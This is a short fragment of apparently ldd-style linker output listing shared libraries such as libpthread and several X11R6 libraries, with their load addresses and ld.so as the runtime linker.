01 0 /usr/lib/libpthread.so.7.0 02384000 22388000 rlib 04 0 /usr/X11R6/lib/libSM.so.8.0 0f8dc000 2f8e3000 rlib 05 0 /usr/X11R6/lib/libICE.so.8.1 0dd4d000 2dd5 rlib 02 0 /usr/X11R6/lib/libXrandr.so.5.0 05396000 2539a000 rlib 02 0 /usr/X11R6/lib/libXi.so.9.0 0eb0e000 2eb12000 rlib 02 0 /usr/X11R6/lib/libXinerama.so.4.0 0dac4000 2dac8000 rlib 02 0 /usr/X11R6/lib/libXcursor.so.3.0 0a9a9000 2a9ac000 rlib 03 0 /usr/X11R6/lib/libXfixes.so.4.0 02114000 2211d000 rlib 01 0 /usr/X11R6/lib/libexpat.so.5.0 0afd9000 0afd9000 rtld 01 0 /usr/libexec/ld.so
